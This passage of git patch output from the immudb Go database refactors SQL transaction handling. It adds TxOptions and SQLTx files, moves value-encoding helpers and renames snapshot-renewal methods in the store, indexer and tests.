maxLen := col.MaxLen() - if variableSized(col.colType) { - maxLen += EncLenLen - } - if len(enc)-off < maxLen { - return nil, ErrCorruptedData - } - - off += maxLen - } - } - - //PK cannot be nil - if len(enc)-off < 1 { - return nil, ErrCorruptedData - } - - return enc[off:], nil -} - -func variableSized(sqlType SQLValueType) bool { - return sqlType == VarcharType || sqlType == BLOBType -} - -func mapKey(prefix []byte, mappingPrefix string, encValues ...[]byte) []byte { - return MapKey(prefix, mappingPrefix, encValues...) -} - -func MapKey(prefix []byte, mappingPrefix string, encValues ...[]byte) []byte { - mkeyLen := len(prefix) + len(mappingPrefix) - - for _, ev := range encValues { - mkeyLen += len(ev) - } - - mkey := make([]byte, mkeyLen) - - off := 0 - - copy(mkey, prefix) - off += len(prefix) - - copy(mkey[off:], []byte(mappingPrefix)) - off += len(mappingPrefix) - - for _, ev := range encValues { - copy(mkey[off:], ev) - off += len(ev) - } - - return mkey -} - -func EncodeID(id uint32) []byte { - var encID [EncIDLen]byte - binary.BigEndian.PutUint32(encID[:], id) - return encID[:] -} - -func EncodeValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { - switch colType { - case VarcharType: - { - strVal, ok := val.(string) - if !ok { - return nil, fmt.Errorf( - "value is not a string: %w", ErrInvalidValue, - ) - } - - if maxLen > 0 && len(strVal) > maxLen { - return nil, ErrMaxLengthExceeded - } - - // len(v) + v - encv := make([]byte, EncLenLen+len(strVal)) - binary.BigEndian.PutUint32(encv[:], uint32(len(strVal))) - copy(encv[EncLenLen:], []byte(strVal)) - - return encv, nil - } - case IntegerType: - { - intVal, ok := val.(int64) - if !ok { - return nil, fmt.Errorf( - "value is not an integer: %w", ErrInvalidValue, - ) - } - - // map to unsigned integer space - // len(v) + v - var encv [EncLenLen + 8]byte - binary.BigEndian.PutUint32(encv[:], uint32(8)) - binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(intVal)) - - return encv[:], nil - } - case BooleanType: - { - boolVal, ok := val.(bool) - if !ok { - return nil, fmt.Errorf( - "value is not a boolean: %w", ErrInvalidValue, - ) - } - - // len(v) + v - var encv [EncLenLen + 1]byte - binary.BigEndian.PutUint32(encv[:], uint32(1)) - if boolVal { - encv[EncLenLen] = 1 - } - - return encv[:], nil - } - case BLOBType: - { - var blobVal []byte - - if val != nil { - v, ok := val.([]byte) - if !ok { - return nil, fmt.Errorf( - "value is not a blob: %w", ErrInvalidValue, - ) - } - blobVal = v - } - - if maxLen > 0 && len(blobVal) > maxLen { - return nil, ErrMaxLengthExceeded - } - - // len(v) + v - encv := make([]byte, EncLenLen+len(blobVal)) - binary.BigEndian.PutUint32(encv[:], uint32(len(blobVal))) - copy(encv[EncLenLen:], blobVal) - - return encv[:], nil - } - case TimestampType: - { - timeVal, ok := val.(time.Time) - if !ok { - return nil, fmt.Errorf( - "value is not a timestamp: %w", ErrInvalidValue, - ) - } - - // len(v) + v - var encv [EncLenLen + 8]byte - binary.BigEndian.PutUint32(encv[:], uint32(8)) - binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(TimeToInt64(timeVal))) - - return encv[:], nil - } - } - - return nil, ErrInvalidValue -} - -const ( - KeyValPrefixNull byte = 0x20 - KeyValPrefixNotNull byte = 0x80 - KeyValPrefixUpperBound byte = 0xFF -) - -func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { - if maxLen <= 0 { - return nil, ErrInvalidValue - } - if maxLen > maxKeyLen { - return nil, ErrMaxKeyLengthExceeded - } - - if val == nil { - return []byte{KeyValPrefixNull}, nil - } - - switch colType { - case VarcharType: - { - strVal, ok := val.(string) - if !ok { - return nil, fmt.Errorf( - "value is not a string: %w", ErrInvalidValue, - ) - } - - if len(strVal) > maxLen { - return nil, ErrMaxLengthExceeded - } - - // notnull + value + padding + len(value) - encv := make([]byte, 1+maxLen+EncLenLen) - encv[0] = KeyValPrefixNotNull - copy(encv[1:], []byte(strVal)) - binary.BigEndian.PutUint32(encv[len(encv)-EncLenLen:], uint32(len(strVal))) - - return encv, nil - } - case IntegerType: - { - if maxLen != 8 { - return nil, ErrCorruptedData - } - - intVal, ok := val.(int64) - if !ok { - return nil, fmt.Errorf( - "value is not an integer: %w", ErrInvalidValue, - ) - } - - // v - var encv [9]byte - encv[0] = KeyValPrefixNotNull - binary.BigEndian.PutUint64(encv[1:], uint64(intVal)) - // map to unsigned integer space for lexical sorting order - encv[1] ^= 0x80 - - return encv[:], nil - } - case BooleanType: - { - if maxLen != 1 { - return nil, ErrCorruptedData - } - - boolVal, ok := val.(bool) - if !ok { - return nil, fmt.Errorf( - "value is not a boolean: %w", ErrInvalidValue, - ) - } - - // v - var encv [2]byte - encv[0] = KeyValPrefixNotNull - if boolVal { - encv[1] = 1 - } - - return encv[:], nil - } - case BLOBType: - { - blobVal, ok := val.([]byte) - if !ok { - return nil, fmt.Errorf( - "value is not a blob: %w", ErrInvalidValue, - ) - } - - if len(blobVal) > maxLen { - return nil, ErrMaxLengthExceeded - } - - // notnull + value + padding + len(value) - encv := make([]byte, 1+maxLen+EncLenLen) - encv[0] = KeyValPrefixNotNull - copy(encv[1:], []byte(blobVal)) - binary.BigEndian.PutUint32(encv[len(encv)-EncLenLen:], uint32(len(blobVal))) - - return encv, nil - } - case TimestampType: - { - if maxLen != 8 { - return nil, ErrCorruptedData - } - - timeVal, ok := val.(time.Time) - if !ok { - return nil, fmt.Errorf( - "value is not a timestamp: %w", ErrInvalidValue, - ) - } - - // v - var encv [9]byte - encv[0] = KeyValPrefixNotNull - binary.BigEndian.PutUint64(encv[1:], uint64(timeVal.UnixNano())) - // map to unsigned integer space for lexical sorting order - encv[1] ^= 0x80 - - return encv[:], nil - } - - } - - return nil, ErrInvalidValue -} - -func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { - if len(b) < EncLenLen { - return nil, 0, ErrCorruptedData - } - - vlen := int(binary.BigEndian.Uint32(b[:])) - voff := EncLenLen - - if vlen < 0 || len(b) < voff+vlen { - return nil, 0, ErrCorruptedData - } - - switch colType { - case VarcharType: - { - v := string(b[voff : voff+vlen]) - voff += vlen - - return &Varchar{val: v}, voff, nil - } - case IntegerType: - { - if vlen != 8 { - return nil, 0, ErrCorruptedData - } - - v := binary.BigEndian.Uint64(b[voff:]) - voff += vlen - - return &Number{val: int64(v)}, voff, nil - } - case BooleanType: - { - if vlen != 1 { - return nil, 0, ErrCorruptedData - } - - v := b[voff] == 1 - voff += 1 - - return &Bool{val: v}, voff, nil - } - case BLOBType: - { - v := b[voff : voff+vlen] - voff += vlen - - return &Blob{val: v}, voff, nil - } - case TimestampType: - { - if vlen != 8 { - return nil, 0, ErrCorruptedData - } - - v := binary.BigEndian.Uint64(b[voff:]) - voff += vlen - - return &Timestamp{val: TimeFromInt64(int64(v))}, voff, nil - } - } - - return nil, 0, ErrCorruptedData -} - -func normalizeParams(params map[string]interface{}) (map[string]interface{}, error) { - nparams := make(map[string]interface{}, len(params)) - - for name, value := range params { - nname := strings.ToLower(name) - - _, exists := nparams[nname] - if exists { - return nil, ErrDuplicatedParameters - } - - nparams[nname] = value - } - - return nparams, nil -} - func (e *Engine) Exec(sql string, params map[string]interface{}, tx *SQLTx) (ntx *SQLTx, committedTxs []*SQLTx, err error) { stmts, err := Parse(strings.NewReader(sql)) if err != nil { @@ -1184,17 +295,21 @@ func (e *Engine) execPreparedStmts(stmts []SQLStmt, params map[string]interface{ if currTx == nil || currTx.closed { var ctx context.Context + var opts *TxOptions if currTx != nil { ctx = currTx.ctx + opts = currTx.opts } else if tx != nil { ctx = tx.ctx + opts = tx.opts } else { ctx = context.Background() + opts = DefaultTxOptions() } // begin tx with implicit commit - currTx, err = e.NewTx(ctx) + currTx, err = e.NewTx(ctx, opts) if err != nil { return nil, committedTxs, stmts[execStmts:], err } @@ -1267,7 +382,7 @@ func (e *Engine) QueryPreparedStmt(stmt DataSource, params map[string]interface{ qtx := tx if qtx == nil { - qtx, err = e.NewTx(context.Background()) + qtx, err = e.NewTx(context.Background(), DefaultTxOptions()) if err != nil { return nil, err } @@ -1306,7 +421,7 @@ func (e *Engine) Catalog(tx *SQLTx) (catalog *Catalog, err error) { qtx := tx if qtx == nil { - qtx, err = e.NewTx(context.Background()) + qtx, err = e.NewTx(context.Background(), DefaultTxOptions()) if err != nil { return nil, err } @@ -1333,7 +448,7 @@ func (e *Engine) InferParametersPreparedStmts(stmts []SQLStmt, tx *SQLTx) (param qtx := tx if qtx == nil { - qtx, err = e.NewTx(context.Background()) + qtx, err = e.NewTx(context.Background(), DefaultTxOptions()) if err != nil { return nil, err } @@ -1351,3 +466,20 @@ func (e *Engine) InferParametersPreparedStmts(stmts []SQLStmt, tx *SQLTx) (param return params, nil } + +func normalizeParams(params map[string]interface{}) (map[string]interface{}, error) { + nparams := make(map[string]interface{}, len(params)) + + for name, value := range params { + nname := strings.ToLower(name) + + _, exists := nparams[nname] + if exists { + return nil, ErrDuplicatedParameters + } + + nparams[nname] = value + } + + return nparams, nil +} diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 631ae1bbcf..ac3f5dd6ce 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1843,7 +1843,7 @@ func TestQueryCornerCases(t *testing.T) { t.Run("run out of snapshots", func(t *testing.T) { // Get one tx that takes the snapshot - tx, err := engine.NewTx(context.Background()) + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) res, err = engine.Query("SELECT * FROM table1", nil, nil) diff --git a/embedded/sql/grouped_row_reader_test.go b/embedded/sql/grouped_row_reader_test.go index 3fbd3edeaf..13ba12bfba 100644 --- a/embedded/sql/grouped_row_reader_test.go +++ b/embedded/sql/grouped_row_reader_test.go @@ -34,7 +34,7 @@ func TestGroupedRowReader(t *testing.T) { _, err = newGroupedRowReader(nil, nil, nil) require.Equal(t, ErrIllegalArguments, err) - tx, err := engine.NewTx(context.Background()) + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) db, err := tx.catalog.newDatabase(1, "db1") diff --git a/embedded/sql/joint_row_reader_test.go b/embedded/sql/joint_row_reader_test.go index 263ef3cb43..5762cf595c 100644 --- a/embedded/sql/joint_row_reader_test.go +++ b/embedded/sql/joint_row_reader_test.go @@ -35,7 +35,7 @@ func TestJointRowReader(t *testing.T) { _, err = newJointRowReader(nil, nil) require.Equal(t, ErrIllegalArguments, err) - tx, err := engine.NewTx(context.Background()) + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) db, err := tx.catalog.newDatabase(1, "db1") diff --git a/embedded/sql/options.go b/embedded/sql/options.go index 93e1930178..43df3047cb 100644 --- a/embedded/sql/options.go +++ b/embedded/sql/options.go @@ -16,7 +16,13 @@ limitations under the License. package sql -var defultDistinctLimit = 1 << 20 // ~ 1mi rows +import ( + "fmt" + + "github.com/codenotary/immudb/embedded/store" +) + +var defaultDistinctLimit = 1 << 20 // ~ 1mi rows type Options struct { prefix []byte @@ -26,12 +32,20 @@ type Options struct { func DefaultOptions() *Options { return &Options{ - distinctLimit: defultDistinctLimit, + distinctLimit: defaultDistinctLimit, } } -func ValidOpts(opts *Options) bool { - return opts != nil && opts.distinctLimit > 0 +func (opts *Options) Validate() error { + if opts == nil { + return fmt.Errorf("%w: nil options", store.ErrInvalidOptions) + } + + if opts.distinctLimit <= 0 { + return fmt.Errorf("%w: invalid DistinctLimit value", store.ErrInvalidOptions) + } + + return nil } func (opts *Options) WithPrefix(prefix []byte) *Options { diff --git a/embedded/sql/options_test.go b/embedded/sql/options_test.go index 9f47c89c4a..60098201e7 100644 --- a/embedded/sql/options_test.go +++ b/embedded/sql/options_test.go @@ -23,16 +23,18 @@ import ( ) func TestOptions(t *testing.T) { - opts := &Options{} + var opts *Options - require.False(t, ValidOpts(nil)) - require.False(t, ValidOpts(opts)) + require.Error(t, opts.Validate()) + + opts = &Options{} + require.Error(t, opts.Validate()) opts.WithDistinctLimit(0) - require.False(t, ValidOpts(opts)) + require.Error(t, opts.Validate()) - opts.WithDistinctLimit(defultDistinctLimit) - require.Equal(t, defultDistinctLimit, opts.distinctLimit) + opts.WithDistinctLimit(defaultDistinctLimit) + require.Equal(t, defaultDistinctLimit, opts.distinctLimit) opts.WithPrefix([]byte("sqlPrefix")) require.Equal(t, []byte("sqlPrefix"), opts.prefix) @@ -40,5 +42,5 @@ func TestOptions(t *testing.T) { opts.WithAutocommit(true) require.True(t, opts.autocommit) - require.True(t, ValidOpts(opts)) + require.NoError(t, opts.Validate()) } diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go new file mode 100644 index 0000000000..0c3f339d72 --- /dev/null +++ b/embedded/sql/sql_tx.go @@ -0,0 +1,146 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import ( + "context" + "errors" + "time" + + "github.com/codenotary/immudb/embedded/store" +) + +// SQLTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW +type SQLTx struct { + engine *Engine + + ctx context.Context + + opts *TxOptions + + tx *store.OngoingTx + + currentDB *Database + catalog *Catalog // in-mem catalog + + explicitClose bool + + updatedRows int + lastInsertedPKs map[string]int64 // last inserted PK by table name + firstInsertedPKs map[string]int64 // first inserted PK by table name + + txHeader *store.TxHeader // header is set once tx is committed + + committed bool + closed bool +} + +func (sqlTx *SQLTx) useDatabase(dbName string) error { + db, err := sqlTx.catalog.GetDatabaseByName(dbName) + if err != nil { + return err + } + + sqlTx.currentDB = db + + return nil +} + +func (sqlTx *SQLTx) Database() *Database { + return sqlTx.currentDB +} + +func (sqlTx *SQLTx) Timestamp() time.Time { + return sqlTx.tx.Timestamp() +} + +func (sqlTx *SQLTx) UpdatedRows() int { + return sqlTx.updatedRows +} + +func (sqlTx *SQLTx) LastInsertedPKs() map[string]int64 { + return sqlTx.lastInsertedPKs +} + +func (sqlTx *SQLTx) FirstInsertedPKs() map[string]int64 { + return sqlTx.firstInsertedPKs +} + +func (sqlTx *SQLTx) TxHeader() *store.TxHeader { + return sqlTx.txHeader +} + +func (sqlTx *SQLTx) sqlPrefix() []byte { + return sqlTx.engine.prefix +} + +func (sqlTx *SQLTx) distinctLimit() int { + return sqlTx.engine.distinctLimit +} + +func (sqlTx *SQLTx) newKeyReader(rSpec store.KeyReaderSpec) (store.KeyReader, error) { + return sqlTx.tx.NewKeyReader(rSpec) +} + +func (sqlTx *SQLTx) get(key []byte) (store.ValueRef, error) { + return sqlTx.tx.Get(key) +} + +func (sqlTx *SQLTx) set(key []byte, metadata *store.KVMetadata, value []byte) error { + return sqlTx.tx.Set(key, metadata, value) +} + +func (sqlTx *SQLTx) existKeyWith(prefix, neq []byte) (bool, error) { + _, _, err := sqlTx.tx.GetWithPrefix(prefix, neq) + if errors.Is(err, store.ErrKeyNotFound) { + return false, nil + } + + return err == nil, err +} + +func (sqlTx *SQLTx) Cancel() error { + if sqlTx.closed { + return ErrAlreadyClosed + } + + sqlTx.closed = true + + return sqlTx.tx.Cancel() +} + +func (sqlTx *SQLTx) commit() error { + if sqlTx.closed { + return ErrAlreadyClosed + } + + sqlTx.committed = true + sqlTx.closed = true + + hdr, err := sqlTx.tx.Commit() + if err != nil && err != store.ErrorNoEntriesProvided { + return err + } + + sqlTx.txHeader = hdr + + return nil +} + +func (sqlTx *SQLTx) Closed() bool { + return sqlTx.closed +} diff --git a/embedded/sql/sql_tx_options.go b/embedded/sql/sql_tx_options.go new file mode 100644 index 0000000000..a200fa6cf2 --- /dev/null +++ b/embedded/sql/sql_tx_options.go @@ -0,0 +1,75 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import ( + "fmt" + "time" + + "github.com/codenotary/immudb/embedded/store" +) + +type TxMode store.TxMode + +const ( + ReadOnlyTx TxMode = TxMode(store.ReadOnlyTx) + WriteOnlyTx TxMode = TxMode(store.WriteOnlyTx) + ReadWriteTx TxMode = TxMode(store.ReadWriteTx) +) + +type TxOptions struct { + Mode TxMode + SnapshotNotOlderThanTx func(lastPrecommittedTxID uint64) uint64 + SnapshotRenewalPeriod time.Duration +} + +func DefaultTxOptions() *TxOptions { + txOpts := store.DefaultTxOptions() + + return &TxOptions{ + Mode: TxMode(txOpts.Mode), + SnapshotNotOlderThanTx: txOpts.SnapshotNotOlderThanTx, + SnapshotRenewalPeriod: txOpts.SnapshotRenewalPeriod, + } +} + +func (opts *TxOptions) Validate() error { + if opts == nil { + return fmt.Errorf("%w: nil options", store.ErrInvalidOptions) + } + + if opts.Mode != ReadOnlyTx && opts.Mode != WriteOnlyTx && opts.Mode != ReadWriteTx { + return fmt.Errorf("%w: invalid transaction mode", store.ErrInvalidOptions) + } + + return nil +} + +func (opts *TxOptions) WithMode(mode TxMode) *TxOptions { + opts.Mode = mode + return opts +} + +func (opts *TxOptions) WithSnapshotNotOlderThanTx(snapshotNotOlderThanTx func(lastPrecommittedTxID uint64) uint64) *TxOptions { + opts.SnapshotNotOlderThanTx = snapshotNotOlderThanTx + return opts +} + +func (opts *TxOptions) WithSnapshotRenewalPeriod(snapshotRenewalPeriod time.Duration) *TxOptions { + opts.SnapshotRenewalPeriod = snapshotRenewalPeriod + return opts +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index c0f60a1902..50edb93303 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -150,7 +150,7 @@ func (stmt *BeginTransactionStmt) execAt(tx *SQLTx, params map[string]interface{ return nil, err } - ntx, err := tx.engine.NewTx(tx.ctx) + ntx, err := tx.engine.NewTx(tx.ctx, tx.opts) if err != nil { return nil, err } From 81320ffc3d5268c3233217ecd3987c9a8065085f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 23 Dec 2022 10:29:48 -0300 Subject: [PATCH 0088/1062] chore(pkg/database): create txs with default options Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 6 +++--- pkg/database/scan.go | 2 +- pkg/database/sorted_set.go | 2 +- pkg/database/sql.go | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index 95971acd18..ff97d0170d 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -871,7 +871,7 @@ func (d *db) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { return nil, err } - tx, err := d.st.NewTx() + tx, err := d.st.NewTx(store.DefaultTxOptions()) if err != nil { return nil, err } @@ -925,7 +925,7 @@ func (d *db) GetAll(req *schema.KeyListRequest) (*schema.Entries, error) { return nil, err } - snapshot, err := d.st.SnapshotSince(waitUntilTx) + snapshot, err := d.st.SnapshotRenewIfOlderThanTs(waitUntilTx) if err != nil { return nil, err } @@ -1013,7 +1013,7 @@ func (d *db) snapshotSince(txID uint64, noWait bool) (*store.Snapshot, error) { } } - return d.st.SnapshotSince(waitUntilTx) + return d.st.SnapshotRenewIfOlderThanTs(waitUntilTx) } func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot) (*schema.Tx, error) { diff --git a/pkg/database/scan.go b/pkg/database/scan.go index bfbae18b46..0d799f9627 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -57,7 +57,7 @@ func (d *db) Scan(req *schema.ScanRequest) (*schema.Entries, error) { limit = d.maxResultSize } - snap, err := d.st.SnapshotSince(waitUntilTx) + snap, err := d.st.SnapshotRenewIfOlderThanTs(waitUntilTx) if err != nil { return nil, err } diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index 984f5423f8..2820f97341 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -132,7 +132,7 @@ func (d *db) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { } } - snap, err := d.st.SnapshotSince(waitUntilTx) + snap, err := d.st.SnapshotRenewIfOlderThanTs(waitUntilTx) if err != nil { return nil, err } diff --git a/pkg/database/sql.go b/pkg/database/sql.go index b792b43987..f56c15a5c3 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -328,7 +328,7 @@ func (d *db) DescribeTable(tableName string, tx *sql.SQLTx) (*schema.SQLQueryRes } func (d *db) NewSQLTx(ctx context.Context) (*sql.SQLTx, error) { - return d.sqlEngine.NewTx(ctx) + return d.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) } func (d *db) SQLExec(req *schema.SQLExecRequest, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { From e00308a565837b22c08f44f1cacae46c46e749df Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 23 Dec 2022 11:41:21 -0300 Subject: [PATCH 0089/1062] chore(embedded/tbtree): optimize snapshot renewal Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 609f841c03..2d459548ae 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1692,16 +1692,30 @@ func (t *TBtree) SnapshotRenewIfOlderThan(snapshotNotOlderThanTs uint64, snapsho return nil, ErrorToManyActiveSnapshots } - if t.lastSnapRoot == nil || t.lastSnapRoot.ts() < snapshotNotOlderThanTs || - (snapshotRenewalPeriod > 0 && time.Since(t.lastSnapRootAt) >= snapshotRenewalPeriod) { + if t.root.mutated() { + // it means the current root is not stored on disk - _, _, err := t.flushTree(t.cleanupPercentage, false, false, "SnapshotSince") - if err != nil { - return nil, err + var snapshotRenewalNeeded bool + + if t.lastSnapRoot == nil { + snapshotRenewalNeeded = true + } else if t.lastSnapRoot.ts() < t.root.ts() { + snapshotRenewalNeeded = t.lastSnapRoot.ts() < snapshotNotOlderThanTs || + (snapshotRenewalPeriod > 0 && time.Since(t.lastSnapRootAt) >= snapshotRenewalPeriod) + } + + if snapshotRenewalNeeded { + // a new snapshot is dumped on disk including current root + _, _, err := t.flushTree(t.cleanupPercentage, false, false, "SnapshotSince") + if err != nil { + return nil, err + } + // !t.root.mutated() hold as this point } } if !t.root.mutated() { + // either if the root was not updated or if it was dumped as part of a snapshot renewal t.lastSnapRoot = t.root t.lastSnapRootAt = time.Now() } From e032a434bb9837074b7abdf306e3520c7950122a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 24 Dec 2022 17:03:38 -0300 Subject: [PATCH 0090/1062] chore(embedded/store): snapshot reuse improvements Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 22 +++++++++++----------- embedded/store/immustore_test.go | 2 +- embedded/store/indexer.go | 15 ++------------- embedded/store/indexer_test.go | 4 ++-- embedded/store/ongoing_tx.go | 18 ++++-------------- embedded/store/ongoing_tx_options.go | 12 ++++++------ embedded/tbtree/tbtree.go | 14 +++++++++----- 7 files changed, 35 insertions(+), 52 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index bc83609980..e783ea2adb 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -805,21 +805,21 @@ func (s *ImmuStore) Snapshot() (*Snapshot, error) { }, nil } -func (s *ImmuStore) SnapshotRenewIfOlderThanTs(tx uint64) (*Snapshot, error) { - snap, err := s.indexer.SnapshotRenewIfOlderThanTs(tx) +func (s *ImmuStore) SnapshotMustIncludeTxID(snapshotMustIncludeTxID uint64) (*Snapshot, error) { + return s.SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID, 0) +} + +func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID uint64, snapshotRenewalPeriod time.Duration) (*Snapshot, error) { + if snapshotMustIncludeTxID > s.lastPrecommittedTxID() { + return nil, fmt.Errorf("%w: snapshotMustIncludeTxID is greater than the last precommitted transaction", ErrIllegalArguments) + } + + err := s.WaitForIndexingUpto(snapshotMustIncludeTxID, nil) if err != nil { return nil, err } - return &Snapshot{ - st: s, - snap: snap, - ts: time.Now(), - }, nil -} - -func (s *ImmuStore) SnapshotRenewIfOlderThan(snapshotNotOlderThanTx uint64, snapshotRenewalPeriod time.Duration) (*Snapshot, error) { - snap, err := s.indexer.SnapshotRenewIfOlderThan(snapshotNotOlderThanTx, snapshotRenewalPeriod) + snap, err := s.indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID, snapshotRenewalPeriod) if err != nil { return nil, err } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 5e85d7e99b..a3a33b3123 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -898,7 +898,7 @@ func TestImmudbStoreIndexing(t *testing.T) { for { txID, _ := immuStore.CommittedAlh() - snap, err := immuStore.SnapshotRenewIfOlderThanTs(txID) + snap, err := immuStore.SnapshotMustIncludeTxID(txID) require.NoError(t, err) for i := 0; i < int(snap.Ts()); i++ { diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 72ccecd16e..e1d13f2e98 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -152,7 +152,7 @@ func (idx *indexer) Snapshot() (*tbtree.Snapshot, error) { return idx.index.Snapshot() } -func (idx *indexer) SnapshotRenewIfOlderThanTs(snapshotNotOlderThanTx uint64) (*tbtree.Snapshot, error) { +func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID uint64, snapshotRenewalPeriod time.Duration) (*tbtree.Snapshot, error) { idx.mutex.Lock() defer idx.mutex.Unlock() @@ -160,18 +160,7 @@ func (idx *indexer) SnapshotRenewIfOlderThanTs(snapshotNotOlderThanTx uint64) (* return nil, ErrAlreadyClosed } - return idx.index.SnapshotRenewIfOlderThanTs(snapshotNotOlderThanTx) -} - -func (idx *indexer) SnapshotRenewIfOlderThan(snapshotNotOlderThanTx uint64, snapshotRenewalPeriod time.Duration) (*tbtree.Snapshot, error) { - idx.mutex.Lock() - defer idx.mutex.Unlock() - - if idx.closed { - return nil, ErrAlreadyClosed - } - - return idx.index.SnapshotRenewIfOlderThan(snapshotNotOlderThanTx, snapshotRenewalPeriod) + return idx.index.SnapshotMustIncludeTsWithRenewalPeriod(snapshotMustIncludeTxID, snapshotRenewalPeriod) } func (idx *indexer) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, tx uint64, hc uint64, err error) { diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index 6524108f9e..f50f5146d6 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -61,7 +61,7 @@ func TestClosedIndexerFailures(t *testing.T) { require.Zero(t, snap) require.ErrorIs(t, err, ErrAlreadyClosed) - snap, err = indexer.SnapshotRenewIfOlderThanTs(0) + snap, err = indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(0, 0) require.Zero(t, snap) require.ErrorIs(t, err, ErrAlreadyClosed) @@ -185,7 +185,7 @@ func TestClosedIndexer(t *testing.T) { assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) - _, err = i.SnapshotRenewIfOlderThanTs(0) + _, err = i.SnapshotMustIncludeTxIDWithRenewalPeriod(0, 0) assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 1bf50d165e..8c74ea7c9e 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -87,23 +87,13 @@ func newOngoingTx(s *ImmuStore, opts *TxOptions) (*OngoingTx, error) { tx.readOnly = opts.Mode == ReadOnlyTx - var snapshotNotOlderThanTx uint64 + var snapshotMustIncludeTxID uint64 - if opts.SnapshotNotOlderThanTx != nil { - lastPrecommittedTxID := s.lastPrecommittedTxID() - snapshotNotOlderThanTx = opts.SnapshotNotOlderThanTx(lastPrecommittedTxID) - - if snapshotNotOlderThanTx > lastPrecommittedTxID { - return nil, fmt.Errorf("%w: snapshotNotOlderThanTx is greater than the last precommitted transaction", ErrIllegalArguments) - } - - err := s.WaitForIndexingUpto(snapshotNotOlderThanTx, nil) - if err != nil { - return nil, err - } + if opts.SnapshotMustIncludeTxID != nil { + snapshotMustIncludeTxID = opts.SnapshotMustIncludeTxID(s.lastPrecommittedTxID()) } - snap, err := s.SnapshotRenewIfOlderThan(snapshotNotOlderThanTx, opts.SnapshotRenewalPeriod) + snap, err := s.SnapshotMustIncludeTxIDWithRenewalPeriod(snapshotMustIncludeTxID, opts.SnapshotRenewalPeriod) if err != nil { return nil, err } diff --git a/embedded/store/ongoing_tx_options.go b/embedded/store/ongoing_tx_options.go index 5f4f279562..46d63190c2 100644 --- a/embedded/store/ongoing_tx_options.go +++ b/embedded/store/ongoing_tx_options.go @@ -30,15 +30,15 @@ const ( ) type TxOptions struct { - Mode TxMode - SnapshotNotOlderThanTx func(lastPrecommittedTxID uint64) uint64 - SnapshotRenewalPeriod time.Duration + Mode TxMode + 